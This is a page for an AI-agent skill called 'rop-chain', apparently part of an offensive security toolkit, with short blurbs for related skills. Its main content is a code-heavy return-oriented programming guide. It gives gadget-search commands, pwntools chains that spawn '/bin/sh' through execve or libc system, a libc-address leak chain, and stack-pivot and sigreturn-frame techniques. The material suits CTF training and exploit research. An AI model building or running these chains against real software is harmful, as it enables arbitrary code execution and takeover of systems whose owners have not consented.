rop-chain
ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
メニュー
ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Root pointer for the binary reversing lane. Covers triage, Radare2 fallback, string extraction, packer unpacking, virtualized protectors, symbol risk, ROP, Ghidra deep analysis, and firmware extraction.
VMProtect, VMP2, Themida, and CodeVirtualizer reversing workflow using Radare2/Ghidra facts and Back Engineering Labs research guidance.
Use to close the Offensive Vaccine loop on the defender side. The Detector agent produces Sigma / YARA rules from offensive operations; this catalog validates those rules against real memory dumps, event logs, and forensic artifacts using Volatility 3, plaso, and sigma-cli. Without this catalog, detection rules are theoretical.
Use when the target is an industrial control system or operational technology network running Modbus, BACnet, S7Comm/S7Comm Plus, DNP3, OPC-UA, or any PLC/HMI/SCADA stack. Engagements MUST set RoE flag industrial_safety_critical=true; this catalog gates every write-scope operation behind explicit operator confirmation regardless of HITL middleware.
Use when the engagement target is an Android (APK / AAB) or iOS (IPA) application. Covers static analysis (jadx, apktool, class-dump), dynamic instrumentation via Frida and Objection, SSL-pinning bypass, root/jailbreak detection bypass, deep-link / URL-scheme abuse, exported-component attacks, IPC redirection, WebView vulnerabilities, and biometric / Face ID / Touch ID bypass.
Use when the engagement requires passive reconnaissance only — no packets to the target's authoritative infrastructure. Splits off from the Recon agent so bug-bounty and pre-engagement work can run with outbound-only network policy. Maltego, Shodan, Censys, Hunter.io, breach-data lookups, GitHub code search, Wayback Machine archives, certificate transparency, BGP/ASN mapping.
| name | rop-chain |
| description | ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries. |
| metadata | {"subdomain":"reverse-engineering","when_to_use":"rop jop chain return oriented programming gadget pwntools nx dep bypass x86 x64 arm","mitre_attack":["T1203","T1055"]} |
ROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose
existing code fragments ("gadgets") ending in ret / jmp <reg> to
build arbitrary computation without injecting code. Required when NX/DEP
prevents shellcode execution.
Before building the chain, know what protections you face:
checksec --file=/tmp/binary
# Or
pwn checksec /tmp/binary
Output flags:
# ROPgadget (most common)
ROPgadget --binary /tmp/binary --depth 8 > /tmp/gadgets.txt
# Filter useful ones
grep ': pop rdi ; ret$' /tmp/gadgets.txt # syscall arg1 setup
grep ': pop rsi ; ret$' /tmp/gadgets.txt # syscall arg2 setup
grep ': pop rdx ; ret$' /tmp/gadgets.txt # arg3
grep ': syscall ; ret$' /tmp/gadgets.txt # syscall instruction
grep ': ret$' /tmp/gadgets.txt | head # bare ret (stack alignment)
# Alternative: ropper
ropper --file /tmp/binary --search 'pop rdi'
ropper --file /tmp/binary --search 'syscall'
# Alternative: one_gadget for libc one-shot RCE
one_gadget /lib/x86_64-linux-gnu/libc.so.6
from pwn import *
# Gadgets from /tmp/binary
POP_RDI = 0x4011a3 # pop rdi ; ret
POP_RSI = 0x4011a1 # pop rsi ; ret
POP_RDX = 0x4011a5 # pop rdx ; ret
POP_RAX = 0x4011a7 # pop rax ; ret
SYSCALL = 0x4011a9 # syscall ; ret
# Target
BIN_SH = 0x404060 # writeable .bss for "/bin/sh\x00"
chain = b''
# write "/bin/sh\0" to BIN_SH
chain += p64(POP_RAX) + p64(0x68732f6e69622f) # /bin/sh in little-endian, no null at end
chain += p64(POP_RDI) + p64(BIN_SH)
# stos or mov [rdi], rax — need gadget
# (this needs more gadgets, see "write-what-where" section below)
# execve(BIN_SH, NULL, NULL)
chain += p64(POP_RAX) + p64(0x3b) # SYS_execve = 59
chain += p64(POP_RDI) + p64(BIN_SH)
chain += p64(POP_RSI) + p64(0)
chain += p64(POP_RDX) + p64(0)
chain += p64(SYSCALL)
# Easier — call system("/bin/sh") in libc
libc_base = leaked_libc_addr - libc.symbols.puts # offset from puts to base
chain = b''
chain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'/bin/sh')))
chain += p64(libc_base + libc.symbols['system'])
# Some systems need a ret-aligning gadget for stack alignment before system
chain = p64(RET_GADGET) + chain
one_gadget (if conditions met)one_gadget finds libc addresses that call execve("/bin/sh") with one
jump, no setup. Constraints (e.g. [rsp+0x70] == NULL) must be met:
one_gadget libc.so.6
# 0x4527a constraints: ...
# 0xf03a4 constraints: ...
Pick the constraint that matches the state at your return point.
If you can't read libc directly:
puts@plt in the binaryputs(puts_got) — leaks libc's puts addressmain (or any function that re-runs your chain) and now build the real execve chainputs_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
leak_chain = p64(POP_RDI) + p64(puts_got)
leak_chain += p64(puts_plt)
leak_chain += p64(main) # restart so we can re-input
When buffer overflow is small, pivot to a controlled larger region:
# Gadgets needed
POP_RBP = 0x... # pop rbp ; ret
LEAVE_RET = 0x... # mov rsp, rbp; pop rbp; ret
# Pivot to attacker-controlled buffer
chain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)
Few gadgets available? SROP uses rt_sigreturn syscall to restore full
CPU state from a sigframe on the stack — sets every register at once:
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL
chain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)
When ret-poisoning is hardened (CET / shadow stack), use jmp gadgets:
ROPgadget --binary /tmp/bin --jop
Pattern: dispatcher gadget calls each functional gadget via register. Harder to construct; rare in CTF, occasional in real exploits.
Need to leak it first. Patterns:
Need to leak any function address in main binary → compute base. Often via puts/printf of a stack variable that contains a ret addr.
GOT read-only → can't GOT-overwrite. ROP must use direct syscalls or libc functions via leaked base.
ROP gadgets ending in ret get blocked at return. Mitigations:
ENDBR64-prefixed gadgets (JOP-style)execve)kg_add_node(kind="exploit_chain", label="ROP: BOF → execve",
props={"target":"<binary>","gadget_count":<n>,"libc_required":<bool>})
kg_add_edge(src=<vuln:BOF>, dst=<exploit_chain>, kind="enables")
kg_add_edge(src=<exploit_chain>, dst=<crown_jewel:shell>, kind="achieves")
| Tool | Use for |
|---|---|
ROPgadget | Linux/x86 gadget enum |
ropper | Multi-arch gadgets, search syntax |
pwntools ROP() class | Chain assembly in Python |
one_gadget | Libc one-shot RCE |
angr | Symbolic gadget chain finding |
Ropium | Automated ROP chain synthesis |
pwntools-tubes | Remote interaction harness |
pwndbg / gef (gdb plugins) | Live debugging w/ ROP helpers |
r2pipe | Programmatic radare2 from Python |